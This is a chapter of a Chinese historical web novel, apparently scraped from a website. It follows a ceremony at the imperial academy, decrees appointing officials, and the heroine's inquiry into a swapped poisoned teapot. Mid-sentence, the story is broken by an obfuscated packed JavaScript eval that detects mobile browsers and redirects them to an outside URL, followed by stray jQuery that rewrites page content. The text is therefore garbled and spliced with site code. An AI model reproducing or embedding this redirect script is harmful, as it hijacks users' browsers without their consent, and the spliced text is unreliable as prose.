太学门外。
有人不确定地说:“我刚才好像听见一阵动静?”
“你没听错,看那边。”
从太学门边往里看,正好能看见远处正义堂外那群人。
“我没看错的话,那是王御史吗?他怎么先到了?又在那里做什么?”
贾琦跟着人群在太学门外驻足片刻,绕了一圈走到万姝丹身侧,问她:“刚才你和子煦在集贤门外聊什么呢,那么开心。”
万姝丹低眉抿唇一笑,“五郎这几日忙,我有几日没能和他说上几句话了。我瞧着执金吾将国子监保护得这样好,就喊他过来说了几句体己话。”
顾别清显然也注意到这小小的骚动,她走过来问贾琦:“四嫂嫂,可是出了什么事?”
贾琦微微一笑,“我哪里懂,只是看他们都往太学门那边聚,就过去看了看。”
郑琬从太学门边走来,“可能是出了什么事情,我见王御史都在里面呢。”
就在这时,集贤门外传来内侍的声音:“太子到!”
太学门外的人群忽作鸟兽散,登时排列成行。万姝丹跟着汇入队伍中。
果见太子走在第一个,率先过了集贤门。太子身后是两位长者,其中一人已是胡须花白。再往后,才是文武官员。这二人的出现,引起众人轻呼。
万姝丹定睛看去,其中一人竟然是楼仲春!花白胡须的老者,万姝丹并不认得。
郑琬显然也很吃惊,她轻呼道:“顾老太傅!什么时候来的京城?”
贾琦哂笑道:“怎么没听别清说起过?也不给我们一个机会,为老太傅接风洗尘?”
顾别清淡然道:“大门回京,我亦是现在才知。”
按照规制,万姝丹等女眷跪在圜桥西侧,东侧依次为皇室宗亲、文武官员、新科士人、国子监生员。待众人入位后,柳传在辟雍殿内开始宣读释奠礼祭词。
高文期的眼神黏在柳传身上,看着他抬起拿着凤纸的手,高文期的心也跟着提到了嗓子眼,只差一下就要蹦出来了。有一瞬间,高文期什么都感觉不到了,他看到柳传嘴唇一张一合,吐出的字句延迟几息才进入他的耳中。
“……惟神玉钩陈贶,灵开四肘之源;金鼐流祯,庆传三命之范。神资越诞,授山岳以腾英;天纵攸高,蕴河海而标状。折衷六艺,宣创九流。睿乃生知,灵非外奖。於是考三古,襃一言,刊典谟,定风什。庄敬之容毕备,钟鼓之音载和。父子爰亲,君臣以穆。荡乎焕乎,乐正雅颂,各得其所,可不谓至圣矣夫。”
“古有宾献之礼,登于天府,扬于王庭,重学尊儒,兴贤造士,能美风俗,成教化,先王之所繇焉。朕以寡德,钦若前政,思与大夫群士,复臻于理。每日访道,有时忘食,乙夜观书,分宵不寐,悟专经之义笃,知学史之文繁,永怀覃思,有足尚者,不有褒崇,孰云奖劝?其诸州乡贡明经、进士,宜令引就国子监谒先师,学官为之开讲,质问疑义,仍令所司优厚设食。易曰:‘学以聚之,问以辨之。’诗云:‘如切如磋,如琢如磨。’尚飨。”(注1)
直到柳传垂下手,高文期悬着的心终于是落下了。他偷偷长舒一口气,慢慢平复过快的心跳,他才觉出已是汗湿重衫,可他没敢抬手擦去脸上的汗珠。
宁熙见到柳传一直把凤纸原本写有字的那面朝内,他想起那张只有几行字的凤纸,不由得低低赞叹一声。
王兴业则微微眯起双眼,他眼中的柳传不慌不乱、姿态从容,即便看过失窃的凤纸祭文,短时间内也不会记清每字每句。他却能临场发挥出这样一篇祭文,实力不容小觑。
万姝丹完全不知道之前发生的事情,她与不知情的绝大多数人看着柳传退回席间。
终于熬过了释奠礼,下面是谒先圣,由太子行初献之礼,再依次由尚书左仆射贾独行亚献之礼、中书令南确行终献之礼。南确病得很重,他外表收拾得体,可万姝丹看得出来,他是在强撑着自己完成仪式。果然,终献礼结束后,南确默默退至外围,继而在仆从的搀扶下离开了。
接下来是右常侍开讲《孝经》《礼记·文王世子篇》,中途他用小几上备好的茶水润润口。
将近傍晚时分,整个谒先师之礼圆满结束了。
就在众人以为可以开始有序离开时,柳传拿着两张白麻纸走到辟雍廊下,开始宣读:
“昔楚国尊贤,崇道光于申穆;梁邦接士,楷德重於邹枚。咸以著范前修,垂芳后烈,顾惟菲薄,多谢古人,高山仰止,能无景慕。是以芳兰始被,深思冠盖之游;丹桂初丛,庶延髦俊之士。既而场苗盖寡,空留皎皎之姿;乔木从迁,终愧嘤嘤之友。所冀通规正训,辅其阙如。故侧席无倦於齐庭,开筵有待於燕馆。是以于门下置崇文馆、集贤院,纳藏书百万。属以太傅顾世亮、侍中虞今楠任馆院大学士……翰林学士高文期、翰林学士柳传为直学士,修明史籍,引礼度而成典则,畅文词而咏风雅。”(注2)
下面响起一阵窃窃私语,声音很低很低,仿佛蚊蝇嗡嗡。
柳传翻到下一张白麻纸,声音清亮:
“凤纪龙名,茂绩光於铅椠;砺金钩玉,嘉庸绚於缇油。盖以协赞帝图,弼成鼎命,矧乃望高咸一,超庶尹而驰风;道郁半千,冠群后而宣誉。咨尔太傅顾世亮,藉敬生德,基贤诞秀。谋猷经制,识度英远。培风逸轩,业峻于巨臣。灭景宏才,器隆于王佐。左领卫大将军楼仲春,器识恢宏,风度冲邈。早申期遇,夙投忠款。宣力运始,效绩边隅。皇威远畅,功业有成。是用命世亮为太子太保、仲春为太子詹事,并同中书门下三品。”(注3)
这一纸册文宣读完,整个庭院落针可闻,所有声音一齐喑哑。万姝丹饶有兴致地品味这前后之差。待到太子率众离去后,剩余之人仍是没有言语,似乎还沉浸在震惊之中。
贾琦走的时候,也没有和万姝丹打招呼,可见确实很是匆忙。
郑琬若有所思,她余光瞥见万姝丹没有动作,分出心思问她:“你不走吗?”
顾别清笑音响起,“五嫂嫂是在等五哥吧。”
郑琬恍然大悟,拍了一下额头,“你瞧我,竟是忘了。那我就先回去了。”
等人都散得差不多后,宁熙说:“你来看看这个。”
万姝丹跟着他进了正义堂,随后宁熙把堂门关上。
“怎么?”
宁熙问她:“你们刚才可有听闻什么?”
“你是说太子来之前?看见王御史和你在这边在做什么事,他们还在太学门外讨论呢。不过具体是什么,就不清楚了。”
宁熙没有过多解释,他指着上方的房梁说:“你能上去看看有没有什么痕迹吗?”
万姝丹低头看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020150|177029||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼自己的衣服,又看了看他。
宁熙懊恼地说:“抱歉,忘了你今日穿的衣服不合适了。”
万姝丹颇为得意地挑了挑眉,“只是跳一下房梁,这点衣服还约束不了我。”
说完她纵身一跃,就跳上了房梁。
宁熙担忧地看去,怕她被裙摆绊住脚。只见万姝丹的裙摆悠悠晃晃几下,她便翻身平稳落了地。
“怎么样?”
万姝丹皱起长眉,“上面什么痕迹都没有。发生什么事了?”
宁熙将前后堂门都打开,站在后堂门处,看着外面的树木,问:“依你看,若是这一侧没有守卫,你能在不惊动他人的情况下去后院换了茶壶再回来吗?”
万姝丹观察树木的密度后说:“可以。”
宁熙捏了捏眉心,“那你说上面没有任何痕迹?是指没有灰尘,还是没有刻痕?”
他顿了顿,方想起来没有告诉万姝丹刚才发生的事情。
万姝丹也注意到宁熙的异样了,“你状态很差,是因为听见楼仲春要做太子詹事了吗?”
宁熙闭了闭眼,没有回答,反而是把典礼前发生的事情大致说了一下。
万姝丹摸了摸下巴,“那也就是说,有一个人一直在正义堂中,他目睹了宋一水盗取凤纸、在茶壶中下毒。但是他并不想让这次谒先师典礼出现意外,所以把茶壶换了。这也就解释了为何高文期喝了茶水没有出事,但宋一水期待着高文期中毒。能有这样实力的人,确实只有木霆风了,难怪那梁上如此干净。”
宁熙似乎是调整好了心绪,他语带歉意:“是我考虑不周,对你提出了那样不合理的请求。”
“嗯?”万姝丹疑惑地看向他,见他确实很愧疚,便笑了一下,“如果是我做不到事情,我会直接告诉你。可这件事很简单,我也没有因此而受伤,你这么内疚做什么?”
宁熙张了张嘴,想说些什么,最终化为一声叹息。
“你要着手清理执金吾了吗?”
宁熙颔首,“所有人的背景我都摸清楚了,宋一水的反叛我有预料。否则我也不会事先安排贺兰从往地上撒香灰了。”
万姝丹感慨一声:“不愧是殿下。”
她没有说出后半句。还好她和宁熙不是敌人,否则她一定会亲手杀了宁熙以绝后患。
万姝丹晃了晃头,把这个念头从脑海中赶出去。
“累了?”
万姝丹说:“是啊,听了大半日,我早就乏了。”
“回府吧。”
万姝丹正想着在马车上问问宁熙今日那两份诏书,没想到二人刚走到集贤门,就有小内侍拦下了万姝丹。
“王妃留步,奴是椒房殿的,皇后殿下设了宴,要请王妃过去呢。”
万姝丹抬头看了一眼天色,问:“现在?”
“正是。”
宁熙问:“可还有别人?”
小内侍说:“平王府、宏王府、景王府三位王妃都在呢,还有几位贵人。”
万姝丹临上马车前,回头看了一眼。就见宁熙逆光而站,看不清他的面容,周身清冷得很。发觉万姝丹的视线,他好像是笑了笑,挥了挥手。
不知为什么,万姝丹总觉得怪怪地。她想着等宴席结束后,一定要尽快赶回王府。她没想到的是,这一进宫,就是一日两夜。